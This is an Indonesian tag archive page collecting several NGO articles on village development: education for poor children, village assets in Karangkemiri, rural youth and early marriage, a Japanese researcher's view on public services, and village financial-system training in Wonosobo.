Arsip Tag: Desa

Desa Peduli Pendidikan Anak Miskin, Mungkinkah?

Selain layanan kesehatan, layanan publik dasar yang sering menjadi persoalan di desa adalah pendidikan. Dalam proses pembelajaran Sekolah Desa di sejumlah desa baik Jawa maupun Luar Jawa, telah menguak kesadaran orang tua di desa masih rendah untuk menyekolahkan anaknya.

Dalam proses pendampingan yang dilakukan tim Infest Yogyakarta melalui Sekolah Desa, persoalan pendidikan masih menjadi tantangan bagi pemerintah desa (Pemdes). Anak-anak miskin di desa yang putus sekolah para umumnya bekerja serabutan atau membantu orang tuanya. Pengalaman Pemdes yang melakukan pemetaan kelompok marjinal juga masih kesulitan menggali informasi kebutuhan anak-anak.

Dalam sejumlah kasus, anak-anak putus sekolah bukan hanya disebabkan karena faktor ekonomi keluarga. Keluarga yang tergolong mampu secara ekonomi juga belum tentu mau menyekolahkan anaknya. Karena alasan mereka beragam, di satu pihak karena orang tua mereka tidak mampu membiayai, di sisi lain ada juga orang tua yang mampu namun menganggap bahwa pendidikan itu tidak penting. Padahal anak-anak siapapun dia berhak mendapatkan pendidikan yang layak. Atau setidaknya, mereka juga punya hak untuk belajar. Pertanyaan selanjutnya, apakah pendidikan itu harus dilakukan di dalam sebuah ruangan kelas. Mengenai ini kita semua tahu bahwa sudah banyak model pendidikan alternatif. Salah satunya sekolah alam, sebuah model pendidikan holistik yang memanfaatkan alam semesta sebagai media belajar. Mulai dari yang paling mahal sampai yang digratiskan.

Pengetahuan Berbasis Kearifan Lokal

Di sejumlah kota yang saya ketahui, Sekolah Alam masih menjadi barang mahal. Faktor biaya bagi kalangan menengah ke atas mungkin tidak akan menjadi masalah untuk menyekolahkan anak mereka, namun tidak demikian halnya bagi kalangan menengah ke bawah yang boleh dikata penghasilannya serba paspasan.

Jadi sekali lagi, bagaimana nasib anak-anak miskin di desa yang putus sekolah? Walaupun secara teori sekolah alam bisa dilakukan dimana saja, dengan fasilitas yang paling sederhana sekalipun. Namun berdasarkan sumber-sumber yang kami jadikan rujukan, sekolah alam membutuhkan tempat yang luas.

Saya juga sangat tertarik dengan inisiasi sebuah komunitas di Kabupaten Cirebon. Komunitas tersebut kini sudah berubah menjadi yayasan bernama Yayasan Wangsakerta. Wangsakerta merupakan sekelompok orang pembelajar dan peduli masalah sosial. Dengan keterbatasan sumber daya manusia maupun pendanaan, Wangsakerta berhasil merangkul anak miskin di Desa dampingan mereka untuk belajar dan berkarya di Sekolah Alam yang mereka dirikan.

Menurut salah satu fasilitor Sekolah Alam, Farida Mahri, anak-anak putus sekolah itu sebagian besar ditinggal ibunya menjadi buruh migran. Ada juga yang sehari-hari membantu bapaknya menjual cobek. Di Desa Karangdawa memang masih banyak perajin cobek. Anak-anak mereka biasanya memilih untuk membantu orang tuanya. Kabar terkini, anak-anak tersebut sudah mulai menghasilkan karya berupa produk yang dihasilkan dari kerja keras mereka menanam beragam sayuran. Seperti produk “sambal kering”, lalu sari buah pace, dan lain-lain.

Inisiasi Desa Peduli Pendidikan

Di desa-desa, pada umumnya belum banyak pemerintah desa (Pemdes) yang benar-benar memiliki program peduli pendidikan di desanya. Bukan hanya mendapatkan kebutuhan dasar seperti kesehatan, pendidikan bagi anak-anak miskin putus sekolah juga menjadi persoalan yang terabaikan. Padahal bidang pendidikan juga menjadi salah satu perhatian penting dalam pelayanan dasar. Kebutuhan dan tantangan pendidikan di level desa masih tampak lebih rendah dibandingkan dengan kesehatan.

Semua orang desa membutuhkan kesehatan, sementara pendidikan hanya terbatas dibutuhkan oleh anak-anak usia sekolah. Untuk pendidikan SD yang berada di desa, misalnya, kebutuhan kurikulum, guru, fasilitas dan gaji sudah ditanggung oleh pemerintah kurikulum, guru, fasilitas dan gaji sudah ditanggung oleh pemerintah kabupaten/Kota. Desa tidak mempunyai kewenangan terbatas pada pengelolaan PAUD, pemberian beasiswa anak-anak tidak mampu, pemberantasan buta huruf, dan lebih khusus lagi adalah gerakan membangun sadar pendidikan.

Salah satu desa yang pernah saya ketahui memiliki inisiasi untuk pendidikan anak-anak miskin di desanya adalah Tana Modu. Menurut hasil penelitian Forum Pengembangan Pembaharuan Desa (FPPD) (Sutoro Eko, 2014), ada beberapa gerakan penting di bidang pendidikan yang diinisiasi Pemdes Tana Modu bersama warga masyarakat yaitu gerakan menabung untuk pendidikan. Gerakan ini dinisiasi desa bersama warga masyarakat yaitu gerakan menabung untuk pendidikan anak dan gerakan wajib belajar. Desa bekerja sama dengan Bank NTT dalam mengelola tabungan pendidikan. Orang tua wajib menabung untuk anak-anak mereka yang duduk di bangku TK hingga SMA.

Tabungan hanya untuk kebutuhan sekolah anak, jika orang tua akan mengambil uang di bank, maka harus melalui rekomendasi Desa. Desa menerima uang tabungan, pihak bak akan datang untuk mengambil uang tabungan, pihak bank akan datang untuk mengambil uang tabungan tersebut. Kepala Desa sangat prihatin dengan kurang bermintanya warga masyarakat menyekolahkan anak hingga Perguruan Tinggi, sedangkan mereka tidak keberatan jika mengeluarkan uang untuk pesta adat. Hal inilah yang mendorong Desa membuat program menabung untuk pendidikan anak.

Inisiasi ini muncul karena banyak di dalam desa setelah tamat SMA anak-anak tinggal di rumah. Banyak yang tidak mau melanjutkan karena kendala uang sekolah. Perubahannya, orang tua yang memanfaatkan uangnya untuk mengadakan pesta pernikahan anaknya, kini sudah mengikuti kebijakan desa. Tahun 2013 ada program gerakan menabung untuk anak-anak sekolah. Tahun 2014, desa telah mendapat bukti perubahan perilaku warga masyarakat. Mereka yang sebelumnya tidak berpikir pentingnya pendidikan anak, berubah menjadi orang tua yang sadar pentingnya pendidikan anak. Gerakan peduli pendidikan anak sekolah juga memberlakukan sanksi lokal bagi orang tua yang tidak melaksanakan. Desa kemudian menyusun Perdes No. 06/2013. tentang Wajib Belajar 9 Tahun di mana semua pihak ikut bertanggung jawab dalam mendorong semua warga mengenyam pendidikan dasar. Perdes juga mengatur sanksi lokal bagi orang tua yang abai mendidik anaknya setelah desa melalui RW dan RT memberi teguran pada orang tua tersebut. Ihwal anak sekolah kadang-kadang lekat dengan persoalan perkawinan dini yang memaksa anak tidak melanjutkan sekolah.

Dari pembelajaran tersebut, sebenarnya Pemdes mampu menggerakkan kesadaran warga untuk peduli pada pendidikan anaknya. Lebih dari itu, Pemdes juga seharusnya mampu merangkul stakeholder untuk bergerak bersama mengupayakan anggaran bagi warga miskin di desanya.

***

Penulis telah mengulas isu yang sama dengan judul berbeda di link berikut ini: Inisiasi Gerakan Peduli Pendidikan Bagi Anak Miskin setelah dilakukan editing. Sumber gambar klik di sini.

Haryati: “Desa Kami Semakin Perhatikan Kesejahteraan Buruh Tani”

“Buruh tani adalah salah satu aset sumber daya manusia (SDM) di Desa Karangkemiri, jadi sangat penting untuk diberdayakan. Selain buruh tani, SDM di Desa kami sangat kaya, apalagi perempuannya, sangat aktif dan produktif” (Haryati, warga Desa Karangkemiri)

Dengan percaya diri, Haryati memaparkan perubahan-perubahan yang terjadi di desanya. Haryati merupakan salah satu perwakilan kelompok perempuan Desa Karangkemiri, Kecamatan Wanadadi, Kabupaten Banjarnegara. Salah satu SDM yang ada di Karangkemiri adalah buruh tani.

Masyarakat di Desa Karangkemiri memang sebagian besar berprofesi sebagai buruh tani, terutama kaum perempuan. Pada waktu musim tanam hampir setiap hari mereka menjadi buruh tanam. Terkadang petani juga sampai kesulitan mencari buruh tanam. Kenapa? Karena waktu bercocok tanam tiba berersamaan. Petani terkadang juga kesulitan mencari kuli, karena kebanyakan masyarakat lebih suka bekerja di depot pasir.

Selama ini, penghasilan dari buruh tani belum mampu sejahterakan keluarga. Tugas buruh tani di antaranya adalah pembuatan lahan, menanam, penataan pupuk dan matun hingga panen. Untuk buruh tanam dan kuli pacul, upah yang didapat berkisar kurang lebih 25.000-30.000 rupiah. Ini berlaku sampai setengah hari. Apabila waktu kerja sampai sore maka mendapat tambahan sesuai dengan jam kerjanya.

Haryati memaparkan perubahan yang terjadi di desanya dalam workshop refleksi pembelajaran perencanaan apresiatif desa, atas kerjasama Dispermades Banjarnegara dan Infest Yogyakarta

Menurut Haryati, meskipun mampu mengurangi angka pengangguran, namun upah buruh tani kurang mensejahterakan keluarga. Termasuk bagi buruh tani saat musim panen tiba, khususnya untuk panen padi. Apabila petani mendapat hasil panen 1 ton, maka buruh tani mendapat 1 kwintal dari hasil buruhnya.

“Sehingga dalam RPJMDesa Perubahan, Pemdes dan warga sekarang telah memasukkan program pembinaan dan pemberdayaan khusus bagi para buruh tani. Buruh tani sebelumnya belum menjadi penerima manfaat pembangunan, namun sekarang sudah mulai masuk,” ungkap Haryati di depan para warga dari desa lain serta sejumlah stakeholder satuan kerja pemerintahan daerah (SKPD) di Kabupaten Banjarnegara, di Aula Dinas Pemberdayaan Masyarakat dan Desa (Dispermades).

Apa yang diungkapkannya hanya salah satu perubahan yang terjadi di desanya setelah Pemdes dan warga mengikuti sekolah desa. Dalam forum refleksi pembelajaran, selain perubahan yang terjadi di desa, Haryati pun dengan fasih menceritakan tentang aset dan potensi yang ada di desanya.

Kekayaan Aset dan Potensi Desa Karangkemiri

Desa Karangkemiri merupakan salah satu bagian daerah Minapolitan di antara 7 Kecamatan di wilayah Kabupaten Banjarnegara. Masyarakat Karangkemiri sebagian besar bermata pencaharian sebagai Petani. Ada pula sebagian masyarakat yang bekerja sebagai nelayan, buruh bangunan, PNS, dan pekerja tambang pasir di Waduk Mrica.

Desa Karangkemiri juga dikeliligi oleh Waduk Mrica dan mempunyai dua buah jembatan. Jembatan yang satu menghubungkan kadus I dan kadus II. Jembatan yang kedua sebagai penghubung antar desa yang sering disebut dengan nama Jembatan Paris. Selain sebagai penghubung juga digunakan sebagai tempat wisata bagi anak-anak muda untuk melakukan selfi.

“Jembatan ini secara fisik bukan milik Desa Karangkemiri, tetapi masih milik PT Indonesia Power kondisi jembatan juga sering berlubang karena kayunya cepat rapuh sehingga sering dilakukan adanya perbaikan,” papar Haryati.

Desa Karangkemiri terdiri dari 2 Kepala Dusun (Kadus), 4 RW dan 20 RT. Saat ini jumlah Kepala Keluarga (KK)-nya adalah 936 KK. Sementara jumlah total penduduk adalah 2.980 jiwa, laki-laki adalah 1.552 dan perempuan 1.428. Sebagian besar mata pencaharian masyarakat Desa Karangermiri adalah petani, mayoritas penduduknya hidup bercocok tanam, jenis-jenis pertanian yang ada di desa kami adalah padi, jagung, kacang tanah, pepaya,dan singkong serta berbagai macam sayuran seperti kacang panjang, cabe, kangkung dan beragam sayuran dan buah lainnya. Masyarakat Desa Karangkemiri termasuk berpenghasilan cukup. Akan tetapi karenya belum adanya irigasi menjadikan masalah kesulitan air bagi para petani bila memasuki musim kemarau. Budaya tanam di Desa kami juga belum teratur.

Perikanan

Di desa Karangkemiri terdapat banyak sekali kolam. Kolam-kolam tersebut diisi berbagai macam ikan seperti ikan mujahir, wader, tawes, gurameh, lele, malem dan lain-lain. Dengan adanya budidaya ikan, bisa meningkatkan pendapatan keluarga, bisa juga untuk dikonsumsi. Akan tetapi banyak juga kendalanya, salah satunya saat musim kemarau karena pengairan atau irigasi kurang memadai. Sehingga banyak sekali kolam yang kering.

Usaha Canthir dan kripik singkong

Menurut Haryati, usaha pembuatan cantir saat ini sedang lesu, karena bahan bakunya susah didapat. Warga harus mendatangkan dari desa lain, karena Desa Karangkemiri yang dulu merupakan sentra penghasil singkong, kini sudah beralih fungsi lahan menjadi pertanian padi. Di samping itu, pada saat musim hujan seperti terkendala mutu bagi hasil produksi. Mengapa? karena apabila dalam penjemurannya panasnya kurang maksimal, maka akan menurunkan mutu produk tersebut.

“Harapannya ke depannya ada rekayasa alat yang dapat mengatasi hal tersebut, khususnya untuk usaha penjemuran.”

Waduk Mrica : “Waduk Besar Jenderal Sudirman”

Desa Karangkemiri adalah sebuah desa yang dikeliligi oleh Waduk Mrica, dan sebagian besar masyarakat Karangkemiri mengambil nilai manfaat dari Waduk tersebut. Di antaranya adalah adanya Depot Pasir, Perikanan dan Pertanian. Di Waduk Mrica tersebut juga membentang sebuah jembatan yang menghubungkan Kadus I dan Kadus II dan kami namakan Jembatan Paris.

“Jika kita berada ditengah-tengah jembatan, terpangpanglah sebuah pemandangan yang sangat indah dan menakjubkan, untuk itu kita berkeinginan menjadikan Jembatan Paris sebagai Jembatan Wisata atau Desa Wisata Alam dari Desa Karangkemiri,” jelasnya.

Akan tetapi, kesadaran masyarakat akan kebersihan dan kesehatan masih sangat kurang dalam penjagaan. Hal ini disebabkan karena masih banyak masyarakat yang membuang sampah dan limbah ke area Waduk Mrica. Termasuk pembuangan BAB skala besar atau bisa dikatakan jumbleng atau MCK terbesar dan terlebar se-Asia Tenggara.

Sebenarnya, banyak sekali potensi yang dapat dikembangkan dari Waduk Mrica, seperti pariwisata, depot pasir, bata merah, sarana outbond, dan wisata perahu tongkang. Di samping itu, desa juga perlu mengadakan pelatihan keterampilan membuat bata merah untuk memanfaatkan sedimen dan pelu mensosilisasikan kepada masyarakat agar tidak membuang limbah kewaduk. Untuk itu desa perlu membuat Tempat Pembuangan Akhir (TPA) sampah skala desa dan jamban komunal. Sehingga untuk mengembangkan potensi dari Waduk Mrica, perlu mencari investor baik dari dalam desa maupun luar untuk dapat mengembangkan potensi tersebut.

Perajin Gajah mina (Kalamence)

Produk yang satu ini benar-benar merupakan ciri khas dari produk UMKM di Desa Karangkemiri. Karena memang hanya di wilayah Desa Karangkemiri yang menghasilkan sekaligus mengolah hasil tangkapan gajah mina (mence) ini. Kendala yang dihadapi perajin selama ini adalah ketergantungan pada pasang surutnya air waduk. Selain itu juga hasil tangkapan yang satu juga terbilang sebagai hasil tangkapan musiman. Di samping itu, untuk memasarkan produk, warga juga terkadang mengalami hambatan. Salah satunay adalah belum ada wadah atau tempat pemasaran khusus bagi produk tersebut pada saat produksi melimpah.

Semua aset dan potensi desa yang sudah disebutkan di artikel ini hanyalah beberapa dari begitu banyaknya aset dan potensi di Desa Karangkemiri. Semua data-data aset dan potensi tersebut sudah terdata dalam dokumen aset dan potensi Desa Karangkemiri. Data tersebut merupakan salah-satu data yang dihasilkan secara partisipatif oleh Pemdes dan warga. Data-data partisipatif lainnya di antaranya adalah data kesejahteraan desa, data kewenangan desa, data prioritas perbaikan layanan publik, dan data usulan kelompok marjinal.

====

*Tulisan ini berdasarkan pengalaman pembelajaran Alimah Fauzan, gender specialist Institute of Education Development, Social, Religious and Cultural Studies (Infest Yogyakarta ) selama melakukan pengorganisasian Perencaaan Apresiative Desa (PAD) di Kabupaten Banjarnegara. PAD merupakan salah satu tahapan kegiatan yang diselenggarakan Infest Yogyakarta atas kerjasama Pemkab Banjarnegara. Keterangan dalam tulisan ini berdasarkan informasi pembelajaran dan pengalaman bersama warga di desa dampingan.

Rangkul Pemuda, Desa Perlu Ciptakan Beragam Program Inovatif

“Mereka bukan pemuda, mereka itu bapak-bapak yang sudah pada punya anak.”

Di balik sebuah desa yang kaya akan aset sumber daya alam (SDA), ternyata menyimpan sejumlah persoalan sosial. Bukan hanya SDA, di beberapa aset lain seperti pabrik di desa ini juga turut memanjakan warganya. Namun siapa sangka, tingkat pendidikan di desa ini masih sangat rendah. Saya pernah kesulitan menemukan warga yang lulusan SMA, bahkan ada juga yang hanya lulus SD. Tapi di perkebunan dan pabrik-pabriknya, kita bisa menemukan anak muda kepala keluarga serta buruh anak.

Pernyataan seorang ibu yang mendampingi saya berkeliling di sebuah dusun cukup mengagetkan, karena saya pikir para pemuda itu masih sekolah. Ternyata saya keliru, mereka adalah para pemuda kepala keluarga alias pemuda yang sudah menikah muda dan memiliki anak. Kondisi ini juga sering saya temukan di beberapa desa lainnya dalam satu kabupaten. Karena sudah terbebani oleh tanggungjawab sebagai kepala keluarga, maka mereka tak memiliki kesempatan untuk melanjutkan pendidikan. Bukan hanya melanjutkan pendidikan, pilihan berkarya dan bekerja yang lebih beragam juga semakin berkurang atau bahkan tidak ada selain bertani. Bertani pun, sekadar menggarap lahan milik orang tua. Desa yang warganya kaya akan lahan tersebut, pada akhirnya harus membagi lahannya untuk anak dan cucu. Lahan kian sempit, penduduk makin padat, satu per satu lahan terlepas, namun kapasitas sumber daya manusia (SDM) belum mampu mengimbangi perubahan tersebut.

Rendahnya tingkat pendidikan di desa tersebut, membuat cara bertani mereka pun tidak sesuai standar. Fakta ketergantungan mereka pada pestisida sangat tinggi. Sering sekali saya melihat seorang bapak melakukan penyemprotan pestisida sambil merokok, pakaian pun tidak sesuai standar seperti harus menggunakan masker dan sebagainya. Bukan hanya itu, tidak jauh dari si bapak, ada isteri dan anak balitanya yang sedang asyik bermain. Secara kasat mata, desa ini indah, namun siapa sangka bahwa air, tanah, dan udara mereka telah tercemar. Jangan tanya pengaruhnya pada tubuh manusia, sangat banyak dampak negatifnya, bukan hanya pada tubuh bagian luar, namun juga bagian dalam yang tidak dapat terdeteksi secara langsung.

Rendahnya tingkat pendidikan juga membuat mereka tak peduli atau membiarkan persoalan sosial di desanya terus terjadi. Seperti sebuah siklus, akan selalu terulang, dianggap biasa, dan membudaya. Begitupun praktik nikah dini serta sejumlah persoalan sosial ditimbulkannya. Bukan hanya terjadi pada perempuan, namun juga anak laki-laki. Usai menikah dan punya anak, perceraian sudah menjadi hal biasa. Yang lebih parah dari sebuah perceraian adalah ketidakjelasan status. Mereka tidak bercerai secara sah, namun mereka berpisah, masing-masing ke rumah orang tuanya. Sementara anak mereka diurus orang tua dari pihak perempuan. Dalam situasi seperti ini, perempuan dan anak memang menjadi korban. Hal ini terjadi karena pasangan belum memahami makna pernikahan dengan konsekuensi hak dan kewajiban sebagai suami dan isteri. Sehingga sering terjadi salah paham dan tidak mampu mengelola emosi, persoalan relasi kuasa yang menyebabkan sejumlah perilaku dimana perempuan dan anak sebagai korban. Alhasil, tidak sedikit pernikahan usia dini berujung pada perceraian.

Perlunya Program Pembangunan Beragam dan Inovatif

Dari sekian persoalan sosial di desa khususnya di kalangan pemuda, bisa jadi ada yang keliru dengan cara kita membangun desa kita. Pemerintah sebagai penyelenggara pembangunan belum mampu menggali tantangan dan peluang pembangunan di desanya. Program-program pembangunan yang menyasar desa juga masih sangat monoton, kurang beragam dan inovatif.

Pernah juga saya berada di satu desa yang program pembangunan di desanya dipenuhi dengan kegiatan seremonial keagamaan. Begitu banyak dana dikeluarkan untuk kegiatan keagamaan, namun tidak berbanding lurus dengan kondisi masyarakatnya. Di desa tersebut, bukan hanya persoalan pendidikan, namun juga persoalan sosial dimana pemuda-pemudinya terjebak obat-obatan terlarang. Memang bukan jenis narkoba yang populer diberitakan, namun sangat murah dan mudah didapatkan. Bahkan pernah dijual di warung-warung terdekat. Bahkan pemudi tergolong sebagai pemakai yang banyak. Seakan, semua kegiatan keagamaan hanya sekadar uforia dan seremonial agar desanya disebut agamis.

Tentu saja, tidak semua Desa berhasil menghadapi kompleksnya persoalan sosial di desanya. Ada juga Desa yang berhasil memberdayakan kelompok pemudanya. Berdasarkan pengalaman dan pembelajaran di beberapa desa, ada dua kelompok di desa yang memiliki peran penting dalam proses pemberdayaan di desa. Kelompok tersebut bagian dari aset SDM dan Kelembagaan yang ada di desa, terutama kelompok perempuan dan pemuda. Kedua kelompok tersebut adalah adalah aktor kunci keberhasilan sebuah program pemberdayaan. Khususnya yang bertujuan untuk mengurangi angka kemiskinan. Perempuan dengan sifatnya yang ulet, mau belajar, bekerja keras, serta mampu digerakkan kelompoknya. Sementara kelompok pemuda dengan kapasitas dan akses mereka terhadap sumber daya, khususnya akses informasi dan teknologi.

Semoga dengan munculnya kebijakan baru yang menguntungkan desa, pemerintah dan masyarakatnya mau belajar dan mau mengubah dirinya menjadi lebih baik. Karena kondisi berlawanan pun terjadi di desa-desa yang mampu menangkap kebijakan tersebut sebagai peluang. Desa di mana para pemudanya tidak hanya berpendidikan tinggi, namun mereka juga tetap bersedia bertani dan mengabdi untuk pembangunan desanya.

Tantangan dan Strategi Pendamping Desa 

Untuk merangkul warga di desa, khususnya kelompok perempuan dan pemuda, tentu saja membutuhkan strategi yang tidak sekadar mengajak dalam bentuk sosialisasi lalu selesai. Jadi setelah muncul perspektif bahwa kelompok perempuan dan pemuda adalah bagian dari kekuatan SDM dan Kelembagaan yang dimiliki desa, selanjutnya adalah bagaimana merangkul mereka sehingga memiliki pandangan yang sama dan mau terlibat menggerakkan komunitasnya dan seluruh warga secara umum. Pada tahap ini, kerja-kerja pendamping desa yang selama ini telah direkrut oleh Kemendesa, seharusnya tertantang untuk melakukan kerja-kerja pengorganisasian komunitas. Sayangnya, para pendamping desa pada umumnya masih terjebak sekadar membantu Pemerintah Desa (Pemdes) yang sifatnya administratif.

Saya belum benar-benar menemukan pendamping desa yang melakukan pengorganisasian di masyarakat. Pendamping desa yang hadir di desa, berbaur dengan masyarakat dan sama-sama bergerak bersama masyarakat di desa. Yang saya temukan baru pendamping desa yang sibuk membantu perangkat pemerintah desa menyelesaikan pekerjaan yang bersifat administratif. Pendamping Desa yang saya maksud di sini adalah pendamping desa yang telah direkrut oleh Kemendesa, yang diharapkan mampu mendampingi desa dalam proses pemberdayaan masyarakat. Meskipun, lagi-lagi mereka terkendala terkait jumlah mereka sangat terbatas.  Saya jadi ingat pernyataan Direktur Jenderal Bina Pemerintahan Desa, Kementerian Dalam Negeri RI, Nata Irawan, saat menjadi salah satu pembicara kunci dalam acara peluncuran Open Data Keuangan Desa di Pendopo Kabupaten Wonosobo, Jateng, pada Selasa (18 Agustus 2017). Beliau menyatakan bahwa, tugas pendamping desa yang direkrut oleh Kemendesa adalah melakukan pemberdayaan masyarakat di desa. Sementara pendamping desa yang direkrut oleh Kemendagri adalah untuk membantu Pemdes terkait tata kelola pemerintahan desa. Namun faktanya, pendamping desa saat ini masih terjebak sebagai konsultan administrasi desa.

===

*Penulis adalah gender specialist Infest Yogyakarta. Artikel ini sudah dipublikasikan di TheGeotimes dengan judul “Pemuda Desa: Bertani, Mengabdi, dan Menikah Dini?”

Peneliti Jepang tentang Inisiatif Perbaikan Pelayanan Publik di Indonesia: “Masyarakat Sipil Lebih Aktif daripada Pemerintahnya”

“Jadi bedanya kalau di Jepang, pemerintahnya yang sangat aktif melakukan perbaikan pelayanan publik. Tapi di Indonesia justru kelompok masyarakat sipil yang lebih banyak aktif mendorong perbaikan layanan publik.”
(Prof. Okamoto Masaaki, Ph.D, Center for Southeast Asian Studies (CSAS), Kyoto Uninveristy, Jepang)

 

Pernyataan tersebut diungkapkan Prof. Okamoto usai pemaparan singkat tentang pembelajaran inisiatif Infest Yogyakarta dalam memperkuat partisipasi, transparansi, dan akuntabilitas pemerintah. Meskipun secara kelembagaan pernah sama-sama mengenal program masing-masing, namun kunjungannnya pada Kamis (5/9/17) adalah untuk kali pertamannya ke kantor Infest Yogyakarta. Sebelumnya, tim Peneliti CSAS telah mengetahui secara langsung pelaksanaan salah satu kegiatan dari program Infest yang dilaksanakan di Kabupaten Tebo, Jambi.

Berbagi Pengalaman dan Informasi Pembelajaran

Pada pertemuan yang cukup singkat, Infest Yogyakarta berbagi pengalaman dan pembelajaran terkait program-program pemberdayaan di sejumlah desa, baik di Jawa maupun luar Jawa. Pembelajaran tersebut dipaparkan oleh Direktur Infest Yogyakarta, Irsyadul Ibad, terkait perencanaan apresiatif desa (PAD), serta penerapan open data keuangan desa yang telah diluncurkan di Kabupaten Wonosobo. Secara singkat, pertemuan tersebut juga membahas tentang perkembangan perbaikan pelayanan publik di Indonesia, khususnya di desa-desa.

Bukan hanya Infest yang membagi pengalaman dan pembelajaran programnya terkait isu desa, Prof. Okamoto yang secara singkat bercerita tentang kondisi pelayanan publik di Jepang. Termasuk tentang sejumlah persoalan terkait pelayanan publik di Indonesia, khususnya di tingkat Desa. Menurutnya kondisi pelayanan publik di Indonesia berbanding terbalik dengan pelayanan publik di Jepang. Ketika saat ini kelompok masyarakat sipil di Indonesia tengah giat mendorong perbaikan mutu pelayanan publik di Indonesia, di Jepang justru pemerintahnya yang sangat aktif melakukan perbaikan pelayanan publik kepada masyarakatnya.

Tentu saja, membandingkan Indonesia dan Jepang kurang tepat mengingat kondisi kedua negara ini sangat jauh berbeda dari banyak sisi. Namun, upaya solutif dan inovatif yang telah dilakukan Pemerintah Jepang patut menjadi inspirasi. Khususnya terkait terobosan mereka dalam meningkatkan kualitas layanan publiknya. Sudah banyak sekali informasi baik dari pengalaman nyata orang-orang Indonesia yang merasakan langsung pelayanan publik di sana. Juga hasil penelitian tentang pelayanan publik di Jepang. Baik pelayanan pengadaan barang publik seperti ketersediaan transportasi yang memadai dan inovatif, administrasi, hingga jasa publik terkait jaminan kesehatan dan kesejahteraan warganya.

Inspirasi Perbaikan Kualitas Pelayanan Publik di Jepang

Kisah tentang pelayanan transportasi Jepang juga pernah viral di sosial media Indonesia serta diulas dalam sejumlah berita di media online Indonesia. Kisah inspiratif ini datang dari jasa layanan kereta api di Jepang, bukan hanya tepat waktu tapi juga loyalitas layanan kereta yang tetap beroperasi meski hanya untuk mengangkut satu orang penumpang. Seperti dilansir stasiun televisi CCTV News, sebuah stasiun kereta di utara Pulau Hokkaido bernama Kami-Shirataki pada tiga tahun lalu memutuskan untuk memberhentikan jadwal mereka melewati stasiun tersebut. Alasannya, daerah tersebut sudah tidak lagi menjadi pusat ramai lalu-lalang. Kendati begitu, perusahaan kereta setempat, yaitu Japan Railway (JR), berpikir ulang karena mereka menemukan sesosok gadis yang sangat membutuhkan layanan kereta di stasiun itu untuk mencapai sekolahnya. Si gadis ketika itu baru akan masuk SMA yang cukup jauh, sehingga hanya bisa ditempuh naik kereta.

Pihak JR yang mengetahui hal ini akhirnya sepakat untuk mengoperasikan layanannya hanya dua kali sehari, pada saat sang gadis pergi dan sewaktu dia pulang. Di stasiun itu, terpampang catatan jadwal kereta menyesuaikan kapan sang gadis menggunakan layanan kerena ini, sudah seperti jemputan pribadi. Masa aktif kereta di stasiun ini akhirnya benar-benar akan berakhir saat gadis itu menyelesaikan studinya, 26 Maret mendatang.

Dari sejumlah pengalaman masyarakat Indonesia yang tinggal di Jepang, kita juga banyak mendapat informasi tentang bagaimana mereka mengurus keperluan administrasi. Seperti pengalaman Habibi yang pernah mengurus dokumen kependudukan seperti KTP, di salah satu kantor kecamatan di Jepang. Menurutnya dia sangat terharu dan terkesan dengan pelayanan publik di Jepang. Pelayanannnya selalu dikemas secara menyenangkan dan tidak membuat warga yang menunggu merasa bosan dan sebal. Dia juga menyaksikan bagaimana para petugasnya tanpa pamrih menjelaskan dengan sabar kepada warga yang belum mengerti. Termasuk bagaimana menghadapi para Lansia yang mengurus administrasi sendiri, mereka membantunya dengan sabar dan telaten. Apa yang dia alami tentunya berbeda dengan pelayanan publik di Indonesia yang pernah dialaminya.

Bukan hanya pelayanan publik yang bersifat administratif, pengadaan barang publik dengan sekian inovasinya, namun juga pada ruang pelayanan yang bersifat jasa publik. Seperti pengalaman Maulina Handayani, salah satu pelajar Indonesia yang sedang menempuh studi program magister (S2) di Kobe pada Departement Community Health Science Faculty of Health Science Kobe University, Japan. Tahun 2010, dia menuliskan pengalamannya tentang sistem kesehatan di Jepang sangat menarik sekali. Terutama terkait dengan sistem pelayanan kesehatan dan kesejahteraan anak. Jepang merupakan negara dengan angka kematian anak (under -5 mortality rate) terendah yaitu 4/ 1000(US 8/1000, Indonesia 31/1000) (UNICEF, table 1 Basic indicator, 2007). Hal ini tidak lepas dari dukungan pemerintah Jepang terhadap kesehatan dan kesejahteraan anak. Jepang memiliki sistem jaminan kesehatan universal. Hampir seluruh warga negara Jepang dilindingi dengan asuransi kesehatan, dan termasuk juga warga negara asing yang menetap sementara di Jepang.

Selain pengalaman Habibi dan Maulina Handayani, masih banyak lagi pengalaman inspiratif lainnya. Jadi, bagaimana? Tidak ada salahnya kita belajar dari negara lain yang telah terbukti mampu melakukan perbaikan kualitas pelayanan publiknya. Jika pemerintah Jepang dan masyarakatnya saja bisa, kenapa pemerintah dan masyarakt Indonesia tidak? Memang segalanya tidak bisa dilakukan secara instan, tapi membutuhkan proses dan tahapan yang harus benar-benar dipahami semua pihak. (alimah)

 

Menuju Open Data Keuangan Desa, Pemkab Wonosobo Perkuat Kapasitas Pemdes

“Laporan realisasi DTD tahun 2016, perencanaan RKPDes, APBDes, dan pelaporan DTD dan APBDes tahun 2017 sudah harus menggunakan aplikasi Mitra Desa”

(Triyantoro, Kepala Bagian Tata Pemerintahan, Kabupaten Wonosobo)

Rencana Pemerintah Kabupaten (Pemkab) dalam mewujudkan digitalisasi Sistem Keuangan Mitra Desa (Siskeudes) kini mulai diwujudkan secara bertahap. Tahapan yang telah dilakukan salah satunya adalah memperkuat kapasitas sejumlah Pemerintah Desa (Pemdes) melalui pelatihan Sistem Keuangan Desa (Siskeudes). Acara yang diselenggarakan pada Senin-Rabu (28-30/11/16) ini diselenggarakan di Resto Ongklok Wonosobo. Penguatan kapasitas yang dimotori oleh Pemkab Tapem dan Komtel Setda Kabupaten Wonosobo, ini bekerja sama dengan Institute for Education Development, Social, Religion, and Cultural Studies (Infest) Yogyakarta.

Pernyataan pak Triyantoro merupakan bentuk keseriusan Pemkab Wonosobo bersama-sama pemerintah Desa mewujudkan Digitalisasi Pemkab Wonosobo. Pelatihan tersebut diikuti oleh perwakilan dari sejumlah desa yang tersebar di tujuh Kecamatan yang ada di Kabupaten Wonosobo. Di hari pertama, pelatihan diikuti oleh perwakilan Pemdes dari desa di Kecamatan Kertek, Kepil, Sapuran, Garung, Kalikajar, Leksono dan Kaliwiro. Sampai hari ketiga, pelatihan dihadiri dari delapan Kecamatan yang terdiri dari Kecamatan Kejajar, Kalibawang, Wadaslintang, Mojotengah, Sukoharjo, Wonosobo, dan Watumalang.

